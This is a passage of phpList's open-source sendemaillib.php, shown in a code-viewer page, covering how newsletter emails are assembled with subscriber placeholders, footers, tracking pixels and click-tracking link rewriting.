PageRenderTime 133ms CodeModel.GetById 39ms RepoModel.GetById 2ms app.codeStats 1ms

/public_html/lists/admin/sendemaillib.php

https://github.com/samtuke/phplist
PHP | 1508 lines | 1088 code | 177 blank | 243 comment | 313 complexity | 4dbe84387f8643ef2874a89b206b8aec MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1
  1. <?php
  2. require_once dirname(__FILE__).'/accesscheck.php';
  3. # send an email library
  4. include_once dirname(__FILE__).'/class.phplistmailer.php';
  5. if (!function_exists("output")) {
  6. function output($text) {
  7. }
  8. }
  9. function sendEmail ($messageid,$email,$hash,$htmlpref = 0,$rssitems = array(),$forwardedby = array()) {
  10. $getspeedstats = VERBOSE && !empty($GLOBALS['getspeedstats']) && isset($GLOBALS['processqueue_timer']);
  11. $sqlCountStart = $GLOBALS["pagestats"]["number_of_queries"];
  12. $isTestMail = isset($_GET['page']) && $_GET['page'] == 'send';
  13. ## for testing concurrency, put in a delay to check if multiple send processes cause duplicates
  14. #usleep(rand(0,10) * 1000000);
  15. global $strThisLink,$strUnsubscribe,$PoweredByImage,$PoweredByText,$cached,$website,$counters;
  16. if ($email == "")
  17. return 0;
  18. if ($getspeedstats) output('sendEmail start '.$GLOBALS['processqueue_timer']->interval(1));
  19. #0013076: different content when forwarding 'to a friend'
  20. if (FORWARD_ALTERNATIVE_CONTENT) {
  21. $forwardContent = sizeof( $forwardedby ) > 0;
  22. } else {
  23. $forwardContent = 0;
  24. }
  25. if (empty($cached[$messageid])) {
  26. if (!precacheMessage($messageid,$forwardContent)) {
  27. unset($cached[$messageid]);
  28. logEvent('Error loading message '.$messageid.' in cache');
  29. return 0;
  30. }
  31. } else {
  32. # dbg("Using cached {$cached[$messageid]["fromemail"]}");
  33. if (VERBOSE) output('Using cached message');
  34. }
  35. if (VERBOSE) {
  36. output(s('Sending message %d with subject %s to %s',$messageid,$cached[$messageid]["subject"],$email));
  37. }
  38. ## at this stage we don't know whether the content is HTML or text, it's just content
  39. $content = $cached[$messageid]['content'];
  40. if (VERBOSE && $getspeedstats) {
  41. output('Load user start');
  42. }
  43. $userdata = array();
  44. $user_att_values = array();
  45. #0011857: forward to friend, retain attributes
  46. if ($hash == 'forwarded' && defined('KEEPFORWARDERATTRIBUTES') && KEEPFORWARDERATTRIBUTES) {
  47. $user_att_values = getUserAttributeValues($forwardedby['email']);
  48. } elseif ($hash != 'forwarded') {
  49. $user_att_values = getUserAttributeValues($email);
  50. }
  51. if (!is_array($user_att_values)) $user_att_values = array();
  52. foreach ($user_att_values as $key => $val) {
  53. $newkey = cleanAttributeName($key);
  54. ## in the help, we only list attributes with "strlen < 20"
  55. unset($user_att_values[$key]);
  56. if (strlen($key) < 20) {
  57. $user_att_values[$newkey] = $val;
  58. }
  59. }
  60. # print '<pre>';var_dump($user_att_values);print '</pre>';exit;
  61. $query = sprintf('select * from %s where email = ?', $GLOBALS["tables"]["user"]);
  62. $rs = Sql_Query_Params($query, array($email));
  63. $userdata = Sql_Fetch_Assoc($rs);
  64. if (empty($userdata['id'])) {
  65. $userdata = array();
  66. }
  67. #var_dump($userdata);
  68. if (stripos($content,"[LISTS]") !== false) {
  69. $listsarr = array();
  70. $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$GLOBALS["tables"]["list"],$GLOBALS["tables"]["listuser"],$userdata["id"]));
  71. while ($row = Sql_Fetch_Row($req)) {
  72. array_push($listsarr,$row[0]);
  73. }
  74. if (!empty($listsarr)) {
  75. $html['lists'] = join('<br/>',$listsarr);
  76. $text['lists'] = join("\n",$listsarr);
  77. } else {
  78. $html['lists'] = $GLOBALS['strNoListsFound'];
  79. $text['lists'] = $GLOBALS['strNoListsFound'];
  80. }
  81. unset($listsarr);
  82. }
  83. if (VERBOSE && $getspeedstats) {
  84. output('Load user end');
  85. }
  86. if ($cached[$messageid]['userspecific_url']) {
  87. if (VERBOSE && $getspeedstats) {
  88. output('fetch personal URL start');
  89. }
  90. ## Fetch external content, only if the URL has placeholders
  91. if ($GLOBALS["can_fetchUrl"] && preg_match("/\[URL:([^\s]+)\]/i",$content,$regs)) {
  92. while (isset($regs[1]) && strlen($regs[1])) {
  93. $url = $regs[1];
  94. if (!preg_match('/^http/i',$url)) {
  95. $url = 'http://'.$url;
  96. }
  97. $remote_content = fetchUrl($url,$userdata);
  98. # @@ don't use this
  99. # $remote_content = includeStyles($remote_content);
  100. if ($remote_content) {
  101. $content = str_replace($regs[0],$remote_content,$content);
  102. $cached[$messageid]["htmlformatted"] = strip_tags($content) != $content;
  103. } else {
  104. logEvent("Error fetching URL: $regs[1] to send to $email");
  105. return 0;
  106. }
  107. preg_match("/\[URL:([^\s]+)\]/i",$content,$regs);
  108. }
  109. }
  110. if (VERBOSE && $getspeedstats) {
  111. output('fetch personal URL end');
  112. }
  113. }
  114. if (VERBOSE && $getspeedstats) {
  115. output('define placeholders start');
  116. }
  117. $url = getConfig("unsubscribeurl");
  118. ## https://mantis.phplist.com/view.php?id=16680 -> the "sep" should be & for the text links
  119. $sep = strpos($url,'?') === false ? '?':'&';
  120. $html["unsubscribe"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,htmlspecialchars($sep),$hash,$strUnsubscribe);
  121. $text["unsubscribe"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  122. $text["jumpoff"] = sprintf('%s%suid=%s&jo=1',$url,$sep,$hash);
  123. $html["unsubscribeurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
  124. $text["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  125. $text["jumpoffurl"] = sprintf('%s%suid=%s&jo=1',$url,$sep,$hash);
  126. #0013076: Blacklisting posibility for unknown users
  127. $url = getConfig("blacklisturl");
  128. $sep = strpos($url,'?') === false ? '?':'&';
  129. $html["blacklist"] = sprintf('<a href="%s%semail=%s">%s</a>',$url,htmlspecialchars($sep),$email,$strUnsubscribe);
  130. $text["blacklist"] = sprintf('%s%semail=%s',$url,$sep,$email);
  131. $html["blacklisturl"] = sprintf('%s%semail=%s',$url,htmlspecialchars($sep),$email);
  132. $text["blacklisturl"] = sprintf('%s%semail=%s',$url,$sep,$email);
  133. #0013076: Problem found during testing: message part must be parsed correctly as well.
  134. if (sizeof($forwardedby) && isset($forwardedby['email'])) {
  135. $html["unsubscribe"] = $html["blacklist"];
  136. $text["unsubscribe"] = $text["blacklist"];
  137. $html["forwardedby"] = $forwardedby["email"];
  138. $text["forwardedby"] = $forwardedby["email"];
  139. }
  140. $url = getConfig("subscribeurl");$sep = strpos($url,'?') === false ? '?':'&';
  141. $html["subscribe"] = sprintf('<a href="%s">%s</a>',$url,$strThisLink);
  142. $text["subscribe"] = sprintf('%s',$url);
  143. $html["subscribeurl"] = sprintf('%s',$url);
  144. $text["subscribeurl"] = sprintf('%s',$url);
  145. $url = getConfig("forwardurl");$sep = strpos($url,'?') === false ? '?':'&';
  146. $html["forward"] = sprintf('<a href="%s%suid=%s&amp;mid=%d">%s</a>',$url,htmlspecialchars($sep),$hash,$messageid,$strThisLink);
  147. $text["forward"] = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$messageid);
  148. $html["forwardurl"] = sprintf('%s%suid=%s&amp;mid=%d',$url,htmlspecialchars($sep),$hash,$messageid);
  149. $text["forwardurl"] = $text["forward"];
  150. $html["messageid"] = sprintf('%d',$messageid);
  151. $text["messageid"] = sprintf('%d',$messageid);
  152. $url = getConfig("forwardurl");
  153. # make sure there are no newlines, otherwise they get turned into <br/>s
  154. $html["forwardform"] = sprintf('<form method="get" action="%s" name="forwardform" class="forwardform"><input type="hidden" name="uid" value="%s" /><input type="hidden" name="mid" value="%d" /><input type="hidden" name="p" value="forward" /><input type=text name="email" value="" class="forwardinput" /><input name="Send" type="submit" value="%s" class="forwardsubmit"/></form>',$url,$hash,$messageid,$GLOBALS['strForward']);
  155. $text["signature"] = "\n\n-- powered by phpList, www.phplist.com --\n\n";
  156. $url = getConfig("preferencesurl");$sep = strpos($url,'?') === false ? '?':'&';
  157. $html["preferences"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,htmlspecialchars($sep),$hash,$strThisLink);
  158. $text["preferences"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  159. $html["preferencesurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
  160. $text["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  161. $url = getConfig("confirmationurl");$sep = strpos($url,'?') === false ? '?':'&';
  162. $html["confirmationurl"] = sprintf('%s%suid=%s',$url,htmlspecialchars($sep),$hash);
  163. $text["confirmationurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  164. #historical, not sure it's still used
  165. $html["userid"] = $hash;
  166. $text["userid"] = $hash;
  167. $html['website'] = $GLOBALS['website']; # Your website's address, e.g. www.yourdomain.com
  168. $text['website'] = $GLOBALS['website'];
  169. $html['domain'] = $GLOBALS['domain']; # Your domain, e.g. yourdomain.com
  170. $text['domain'] = $GLOBALS['domain'];
  171. if ($hash != 'forwarded') {
  172. $text['footer'] = $cached[$messageid]["textfooter"];
  173. $html['footer'] = $cached[$messageid]["htmlfooter"];
  174. } else {
  175. #0013076: different content when forwarding 'to a friend'
  176. if( FORWARD_ALTERNATIVE_CONTENT ) {
  177. $text['footer'] = stripslashes($messagedata["forwardfooter"]);
  178. } else {
  179. $text['footer'] = getConfig('forwardfooter');
  180. }
  181. $html['footer'] = $text['footer'];
  182. }
  183. /*
  184. We request you retain the signature below in your emails including the links.
  185. This not only gives respect to the large amount of time given freely
  186. by the developers but also helps build interest, traffic and use of
  187. phpList, which is beneficial to it's future development.
  188. You can configure how the credits are added to your pages and emails in your
  189. config file.
  190. Michiel Dethmers, phpList Ltd 2003 - 2013
  191. */
  192. if (!EMAILTEXTCREDITS) {
  193. $html["signature"] = $PoweredByImage;#'<div align="center" id="signature"><a href="http://www.phplist.com"><img src="powerphplist.png" width=88 height=31 title="Powered by PHPlist" alt="Powered by PHPlist" border="0" /></a></div>';
  194. # oops, accidentally became spyware, never intended that, so take it out again :-)
  195. $html["signature"] = preg_replace('/src=".*power-phplist.png"/','src="powerphplist.png"',$html["signature"]);
  196. } else {
  197. $html["signature"] = $PoweredByText;
  198. }
  199. # $content = $cached[$messageid]["htmlcontent"];
  200. if (VERBOSE && $getspeedstats) {
  201. output('define placeholders end');
  202. }
  203. ## Fill text and html versions depending on given versions.
  204. if (VERBOSE && $getspeedstats) {
  205. output('parse text to html or html to text start');
  206. }
  207. if ($cached[$messageid]["htmlformatted"]) {
  208. if (empty($cached[$messageid]["textcontent"])) {
  209. $textcontent = HTML2Text($content);
  210. } else {
  211. $textcontent = $cached[$messageid]["textcontent"];
  212. }
  213. $htmlcontent = $content;
  214. } else {
  215. if (empty($cached[$messageid]["textcontent"])) {
  216. $textcontent = $content;
  217. } else {
  218. $textcontent = $cached[$messageid]["textcontent"];
  219. }
  220. $htmlcontent = parseText($content);
  221. }
  222. if (VERBOSE && $getspeedstats) {
  223. output('parse text to html or html to text end');
  224. }
  225. $defaultstyle = getConfig("html_email_style");
  226. $adddefaultstyle = 0;
  227. if (VERBOSE && $getspeedstats) {
  228. output('merge into template start');
  229. }
  230. if ($cached[$messageid]["template"])
  231. # template used
  232. $htmlmessage = str_replace("[CONTENT]",$htmlcontent,$cached[$messageid]["template"]);
  233. else {
  234. # no template used
  235. $htmlmessage = $htmlcontent;
  236. $adddefaultstyle = 1;
  237. }
  238. $textmessage = $textcontent;
  239. if (VERBOSE && $getspeedstats) {
  240. output('merge into template end');
  241. }
  242. ## Parse placeholders
  243. if (VERBOSE && $getspeedstats) {
  244. output('parse placeholders start');
  245. }
  246. /*
  247. var_dump($html);
  248. var_dump($userdata);
  249. var_dump($user_att_values);
  250. exit;
  251. */
  252. # print htmlspecialchars($htmlmessage);exit;
  253. ### @@@TODO don't use forward and forward form in a forwarded message as it'll fail
  254. if (strpos($htmlmessage, "[FOOTER]") !== false)
  255. $htmlmessage = str_ireplace("[FOOTER]",$html["footer"],$htmlmessage);
  256. elseif ($html["footer"])
  257. $htmlmessage = addHTMLFooter($htmlmessage,'<br />'.$html["footer"]);
  258. if (strpos($htmlmessage,"[SIGNATURE]") !== false) {
  259. $htmlmessage = str_ireplace("[SIGNATURE]",$html["signature"],$htmlmessage);
  260. } else {
  261. # BUGFIX 0015303, 2/2
  262. // $htmlmessage .= '<br />'.$html["signature"];
  263. $htmlmessage = addHTMLFooter($htmlmessage, '
  264. '. $html["signature"]);
  265. }
  266. # END BUGFIX 0015303, 2/2
  267. if (strpos($textmessage,"[FOOTER]"))
  268. $textmessage = str_ireplace("[FOOTER]",$text["footer"],$textmessage);
  269. else
  270. $textmessage .= "\n\n".$text["footer"];
  271. if (strpos($textmessage,'[SIGNATURE]'))
  272. $textmessage = str_ireplace("[SIGNATURE]",$text["signature"],$textmessage);
  273. else
  274. $textmessage .= "\n".$text["signature"];
  275. ### addition to handle [FORWARDURL:Message ID:Link Text] (link text optional)
  276. while (preg_match('/\[FORWARD:([^\]]+)\]/Uxm',$htmlmessage,$regs)) {
  277. $newforward = $regs[1];
  278. $matchtext = $regs[0];
  279. if (strpos($newforward,':')) {
  280. ## using FORWARDURL:messageid:linktext
  281. list($forwardmessage,$forwardtext) = explode(':',$newforward);
  282. } else {
  283. $forwardmessage = sprintf('%d',$newforward);
  284. $forwardtext = 'this link';
  285. }
  286. if (!empty($forwardmessage)) {
  287. $url = getConfig("forwardurl");
  288. $sep = strpos($url,'?') === false ? '?':'&';
  289. $forwardurl = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$forwardmessage);
  290. $htmlmessage = str_replace($matchtext,'<a href="'.htmlspecialchars($forwardurl).'">'.$forwardtext.'</a>',$htmlmessage);
  291. } else {
  292. ## make sure to remove the match, otherwise, it'll be an eternal loop
  293. $htmlmessage = str_replace($matchtext,'',$htmlmessage);
  294. }
  295. }
  296. ## the text message has to be parsed seperately, because the line might wrap if the text for the link is long, so the match text is different
  297. while (preg_match('/\[FORWARD:([^\]]+)\]/Uxm',$textmessage,$regs)) {
  298. $newforward = $regs[1];
  299. $matchtext = $regs[0];
  300. if (strpos($newforward,':')) {
  301. ## using FORWARDURL:messageid:linktext
  302. list($forwardmessage,$forwardtext) = explode(':',$newforward);
  303. } else {
  304. $forwardmessage = sprintf('%d',$newforward);
  305. $forwardtext = 'this link';
  306. }
  307. if (!empty($forwardmessage)) {
  308. $url = getConfig("forwardurl");$sep = strpos($url,'?') === false ? '?':'&';
  309. $forwardurl = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$forwardmessage);
  310. $textmessage = str_replace($matchtext,$forwardtext.' '.$forwardurl,$textmessage);
  311. } else {
  312. ## make sure to remove the match, otherwise, it'll be an eternal loop
  313. $textmessage = str_replace($matchtext,'',$textmessage);
  314. }
  315. }
  316. # $req = Sql_Query(sprintf('select filename,data from %s where template = %d',
  317. # $GLOBALS["tables"]["templateimage"],$cached[$messageid]["templateid"]));
  318. if (ALWAYS_ADD_USERTRACK) {
  319. if (stripos($htmlmessage,'</body>')) {
  320. $htmlmessage = str_replace('</body>','<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" /></body>',$htmlmessage);
  321. } else {
  322. $htmlmessage .= '<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" />';
  323. }
  324. } else {
  325. ## can't use str_replace or str_ireplace, because those replace all, and we only want to replace one
  326. $htmlmessage = preg_replace( '/\[USERTRACK\]/i','<img src="'.$GLOBALS['public_scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&amp;m='.$messageid.'" width="1" height="1" border="0" />',$htmlmessage,1);
  327. }
  328. # make sure to only include usertrack once, otherwise the stats would go silly
  329. $htmlmessage = str_ireplace('[USERTRACK]','',$htmlmessage);
  330. $html['subject'] = $cached[$messageid]["subject"];
  331. $text['subject'] = $cached[$messageid]["subject"];
  332. $htmlmessage = parsePlaceHolders($htmlmessage,$html);
  333. $textmessage = parsePlaceHolders($textmessage,$text);
  334. if (VERBOSE && $getspeedstats) {
  335. output('parse placeholders end');
  336. }
  337. if (VERBOSE && $getspeedstats) {
  338. output('parse userdata start');
  339. }
  340. $htmlmessage = parsePlaceHolders($htmlmessage,$userdata);
  341. $textmessage = parsePlaceHolders($textmessage,$userdata);
  342. //CUT 2
  343. $destinationemail = '';
  344. if (is_array($user_att_values)) {
  345. // CUT 3
  346. $htmlmessage = parsePlaceHolders($htmlmessage,$user_att_values);
  347. $textmessage = parsePlaceHolders($textmessage,$user_att_values);
  348. }
  349. if (VERBOSE && $getspeedstats) {
  350. output('parse userdata end');
  351. }
  352. if (!$destinationemail) {
  353. $destinationemail = $email;
  354. }
  355. # this should move into a plugin
  356. if (strpos($destinationemail,'@') === false && isset($GLOBALS["expand_unqualifiedemail"])) {
  357. $destinationemail .= $GLOBALS["expand_unqualifiedemail"];
  358. }
  359. if (VERBOSE && $getspeedstats) {
  360. output('pass to plugins for destination email start');
  361. }
  362. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  363. # print "Checking Destination for ".$plugin->name."<br/>";
  364. $destinationemail = $plugin->setFinalDestinationEmail($messageid,$user_att_values,$destinationemail);
  365. }
  366. if (VERBOSE && $getspeedstats) {
  367. output('pass to plugins for destination email end');
  368. }
  369. foreach ($GLOBALS['plugins'] as $pluginname => $plugin) {
  370. $textmessage = $plugin->parseOutgoingTextMessage($messageid,$textmessage,$destinationemail, $userdata);
  371. $htmlmessage = $plugin->parseOutgoingHTMLMessage($messageid,$htmlmessage,$destinationemail, $userdata);
  372. }
  373. ## click tracking
  374. # for now we won't click track forwards, as they are not necessarily users, so everything would fail
  375. if (VERBOSE && $getspeedstats) {
  376. output('click track start');
  377. }
  378. if (CLICKTRACK && $hash != 'forwarded' && !empty($userdata['id'])) {
  379. $urlbase = '';
  380. # let's leave this for now
  381. /*
  382. if (preg_match('/<base href="(.*)"([^>]*)>/Umis',$htmlmessage,$regs)) {
  383. $urlbase = $regs[1];
  384. } else {
  385. $urlbase = '';
  386. }
  387. # print "URLBASE: $urlbase<br/>";
  388. */
  389. # convert html message
  390. # preg_match_all('/<a href="?([^> "]*)"?([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  391. preg_match_all('/<a (.*)href=["\'](.*)["\']([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  392. # to process the Yahoo webpage with base href and link like <a href=link> we'd need this one
  393. # preg_match_all('/<a href=([^> ]*)([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  394. $clicktrack_root = sprintf('%s://%s/lt.php',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"]);
  395. for($i=0; $i<count($links[2]); $i++){
  396. $link = cleanUrl($links[2][$i]);
  397. $link = str_replace('"','',$link);
  398. if (preg_match('/\.$/',$link)) {
  399. $link = substr($link,0,-1);
  400. }
  401. $linkid = 0;
  402. $linktext = $links[4][$i];
  403. ## if the link is text containing a "protocol" eg http:// then do not track it, otherwise
  404. ## it will look like Phishing
  405. ## it's ok when the link is an image
  406. $linktext = strip_tags($linktext);
  407. $looksLikePhishing = stripos($linktext,'https://') !== false || stripos($linktext,'http://') !== false;
  408. if (!$looksLikePhishing && (preg_match('/^http|ftp/',$link) || preg_match('/^http|ftp/',$urlbase)) && (stripos($link, 'www.phplist.com') === false) && !strpos($link,$clicktrack_root)) {
  409. # take off personal uids
  410. $url = cleanUrl($link,array('PHPSESSID','uid'));
  411. # $url = preg_replace('/&uid=[^\s&]+/','',$link);
  412. # if (!strpos('http:',$link)) {
  413. # $link = $urlbase . $link;
  414. # }
  415. $linkid = clickTrackLinkId($messageid,$userdata['id'],$url,$link);
  416. $masked = "H|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  417. $masked = base64_encode($masked);
  418. ## 15254- the encoding adds one or two extraneous = signs, take them off
  419. $masked = preg_replace('/=$/','',$masked);
  420. $masked = preg_replace('/=$/','',$masked);
  421. $masked = urlencode($masked);
  422. if (!CLICKTRACK_LINKMAP) {
  423. $newlink = sprintf('<a %shref="%s://%s/lt.php?id=%s" %s>%s</a>',$links[1][$i],$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked,$links[3][$i],$links[4][$i]);
  424. } else {
  425. $newlink = sprintf('<a %shref="%s://%s%s" %s>%s</a>',$links[1][$i],$GLOBALS["public_scheme"],$website.CLICKTRACK_LINKMAP,$masked,$links[3][$i],$links[4][$i]);
  426. }
  427. $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
  428. }
  429. }
  430. # convert Text message
  431. # first find occurances of our top domain, to avoid replacing them later
  432. # hmm, this is no point, it's not just *our* topdomain, but any
  433. if (0) {
  434. preg_match_all('#(https?://'.$GLOBALS['website'].'/?)\s+#mis',$textmessage,$links);
  435. # preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
  436. # preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
  437. for($i=0; $i<count($links[1]); $i++){
  438. # not entirely sure why strtolower was used, but it seems to break things http://mantis.phplist.com/view.php?id=4406
  439. # $link = strtolower(cleanUrl($links[1][$i]));
  440. $link = cleanUrl($links[1][$i]);
  441. if (preg_match('/\.$/',$link)) {
  442. $link = substr($link,0,-1);
  443. }
  444. $linkid = 0;
  445. if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') === false) && !strpos($link,$clicktrack_root)) {
  446. $url = cleanUrl($link,array('PHPSESSID','uid'));
  447. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  448. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,$link));
  449. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  450. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  451. $linkid = $req[0];
  452. $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  453. $masked = urlencode(base64_encode($masked));
  454. $newlink = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked);
  455. $textmessage = str_replace($links[0][$i], '<'.$newlink.'>', $textmessage);
  456. }
  457. }
  458. }
  459. #now find the rest
  460. # @@@ needs to expand to find complete urls like:
  461. #http://user:password@www.web-site.com:1234/document.php?parameter=something&otherpar=somethingelse#anchor
  462. # or secure
  463. #https://user:password@www.website.com:2345/document.php?parameter=something%20&otherpar=somethingelse#anchor
  464. preg_match_all('#(https?://[^\s\>\}\,]+)#mis',$textmessage,$links);
  465. # preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
  466. # preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
  467. ## sort the results in reverse order, so that they are replaced correctly
  468. rsort($links[1]);
  469. $newlinks = array();
  470. for($i=0; $i<count($links[1]); $i++){
  471. $link = cleanUrl($links[1][$i]);
  472. if (preg_match('/\.$/',$link)) {
  473. $link = substr($link,0,-1);
  474. }
  475. $linkid = 0;
  476. if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') === false) ) {# && !strpos($link,$clicktrack_root)) {
  477. $url = cleanUrl($link,array('PHPSESSID','uid'));
  478. $linkid = clickTrackLinkId($messageid,$userdata['id'],$url,$link);
  479. $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  480. $masked = base64_encode($masked);
  481. ## 15254- the encoding adds one or two extraneous = signs, take them off
  482. $masked = preg_replace('/=$/','',$masked);
  483. $masked = preg_replace('/=$/','',$masked);
  484. $masked = urlencode($masked);
  485. if (!CLICKTRACK_LINKMAP) {
  486. $newlinks[$linkid] = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["public_scheme"],$website.$GLOBALS["pageroot"],$masked);
  487. } else {
  488. $newlinks[$linkid] = sprintf('%s://%s%s',$GLOBALS["public_scheme"],$website.CLICKTRACK_LINKMAP,$masked);
  489. }
  490. # print $links[0][$i] .' -> '.$newlink.'<br/>';
  491. $textmessage = str_replace($links[1][$i], '[%%%'.$linkid.'%%%]', $textmessage);
  492. }
  493. }
  494. foreach ($newlinks as $linkid => $newlink) {
  495. $textmessage = str_replace('[%%%'.$linkid.'%%%]',$newlink, $textmessage);
  496. }
  497. }
  498. if (VERBOSE && $getspeedstats) {
  499. output('click track end');
  500. }
  501. ## if we're not tracking clicks, we should add Google tracking here
  502. ## otherwise, we can add it when redirecting on the click
  503. if (!CLICKTRACK && !empty($cached[$messageid]['google_track'])) {
  504. preg_match_all('/<a (.*)href=["\'](.*)["\']([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  505. for($i=0; $i<count($links[2]); $i++){
  506. $link = cleanUrl($links[2][$i]);
  507. $link = str_replace('"','',$link);
  508. ## http://www.google.com/support/analytics/bin/answer.py?hl=en&answer=55578
  509. $trackingcode = 'utm_source=emailcampaign'.$messageid.'&utm_medium=phpList&utm_content=HTMLemail&utm_campaign='.urlencode($cached[$messageid]["subject"]);
  510. ## take off existing tracking code, if found
  511. if (strpos($link,'utm_medium') !== false) {
  512. $link = preg_replace('/utm_(\w+)\=[^&]+&/U','',$link);
  513. }
  514. if (strpos($link,'?')) {
  515. $newurl = $link.'&'.$trackingcode;
  516. } else {
  517. $newurl = $link.'?'.$trackingcode;
  518. }
  519. # print $link. ' '.$newurl.' <br/>';
  520. $newlink = sprintf('<a %shref="%s" %s>%s</a>',$links[1][$i],$newurl,$links[3][$i],$links[4][$i]);
  521. $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
  522. }
  523. preg_match_all('#(https?://[^\s\>\}\,]+)#mis',$textmessage,$links);
  524. rsort($links[1]);
  525. $newlinks = array();
  526. for($i=0; $i<count($links[1]); $i++){
  527. $link = cleanUrl($links[1][$i]);
  528. if (preg_match('/\.$/',$link)) {
  529. $link = substr($link,0,-1);
  530. }
  531. if (preg_match('/^http|ftp/',$link) && (stripos($link, 'www.phplist.com') !== 0) ) {# && !strpos($link,$clicktrack_root)) {
  532. $url = cleanUrl($link,array('PHPSESSID','uid'));
  533. $trackingcode = 'utm_source=emailcampaign'.$messageid.'&utm_medium=phpList&utm_content=textemail&utm_campaign='.urlencode($cached[$messageid]["subject"]);
  534. ## take off existing tracking code, if found
  535. if (strpos($link,'utm_medium') !== false) {
  536. $link = preg_replace('/utm_(\w+)\=[^&]+/','',$link);
  537. }
  538. if (strpos($link,'?')) {
  539. $newurl = $link.'&'.$trackingcode;
  540. } else {
  541. $newurl = $link.'?'.$trackingcode;
  542. }
  543. $newlinks[$i] = $newurl;
  544. $textmessage = str_replace($links[1][$i], '[%%%'.$i.'%%%]', $textmessage);
  545. }
  546. }
  547. foreach ($newlinks as $linkid => $newlink) {
  548. $textmessage = str_replace('[%%%'.$linkid.'%%%]',$newlink, $textmessage);
  549. }
  550. unset($newlinks);
  551. }
  552. # print htmlspecialchars($htmlmessage);exit;
  553. #0011996: forward to friend - personal message
  554. if (FORWARD_PERSONAL_NOTE_SIZE && $hash == 'forwarded' && !empty($forwardedby['personalNote']) ) {
  555. $htmlmessage = nl2br($forwardedby['personalNote']) . '<br/>' . $htmlmessage;
  556. $textmessage = $forwardedby['personalNote'] . "\n" . $textmessage;
  557. }
  558. if (VERBOSE && $getspeedstats) {
  559. output('cleanup start');
  560. }
  561. ## allow fallback to default value for the ones that do not have a value
  562. ## delimiter is %% to avoid interfering with markup
  563. preg_match_all('/\[.*\%\%([^\]]+)\]/Ui',$htmlmessage,$matches);
  564. for ($i = 0; $i<count($matches[0]);$i++) {
  565. $htmlmessage = str_ireplace($matches[0][$i],$matches[1][$i],$htmlmessage);
  566. }
  567. preg_match_all('/\[.*\%\%([^\]]+)\]/Ui',$textmessage,$matches);
  568. for ($i = 0; $i<count($matches[0]);$i++) {
  569. $textmessage = str_ireplace($matches[0][$i],$matches[1][$i],$textmessage);
  570. }
  571. ## remove any remaining placeholders
  572. ## 16671 - do not do this, as it'll remove conditional CSS and other stuff
  573. ## that we'd like to keep
  574. //$htmlmessage = preg_replace("/\[[A-Z\. ]+\]/i","",$htmlmessage);
  575. //$textmessage = preg_replace("/\[[A-Z\. ]+\]/i","",$textmessage);
  576. # print htmlspecialchars($htmlmessage);exit;
  577. # check that the HTML message as proper <head> </head> and <body> </body> tags
  578. # some readers fail when it doesn't
  579. if (!preg_match("#<body.*</body>#ims",$htmlmessage)) {
  580. $htmlmessage = '<body>'.$htmlmessage.'</body>';
  581. }
  582. if (!preg_match("#<head.*</head>#ims",$htmlmessage)) {
  583. if (!$adddefaultstyle) {
  584. $defaultstyle = "";
  585. }
  586. $htmlmessage = '<head>
  587. <meta content="text/html;charset='.$cached[$messageid]["html_charset"].'" http-equiv="Content-Type">
  588. <title></title>'.$defaultstyle.'</head>'.$htmlmessage;
  589. }
  590. if (!preg_match("#<html.*</html>#ims",$htmlmessage)) {
  591. $htmlmessage = '<html>'.$htmlmessage.'</html>';
  592. }
  593. ## remove trailing code after </html>
  594. $htmlmessage = preg_replace('#</html>.*#msi','</html>',$htmlmessage);
  595. ## the editor sometimes places <p> and </p> around the URL
  596. $htmlmessage = str_ireplace('<p><!DOCTYPE','<!DOCTYPE',$htmlmessage);
